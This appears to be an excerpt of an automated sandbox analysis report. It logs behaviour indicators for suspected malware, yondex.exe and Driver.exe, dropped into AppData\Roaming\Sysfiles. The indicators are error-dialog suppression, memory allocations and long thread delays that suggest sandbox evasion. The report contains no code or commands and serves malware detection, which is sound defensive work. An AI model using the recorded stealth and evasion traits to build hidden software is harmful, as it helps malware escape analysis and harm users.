Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Memory allocated: 13F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Memory allocated: 2DA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Memory allocated: 4DA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Memory allocated: C70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Memory allocated: 2710000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Memory allocated: 4710000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Memory allocated: 2EF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Memory allocated: 3060000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Memory allocated: 2EF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Memory allocated: E60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Memory allocated: 27E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Memory allocated: E60000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599304	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599202	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598967	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598858	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598745	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598342	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 597544	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 597172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599688	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599469	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599266	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599104	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598907	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597030	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596657	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596275	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596104	Jump to behavior
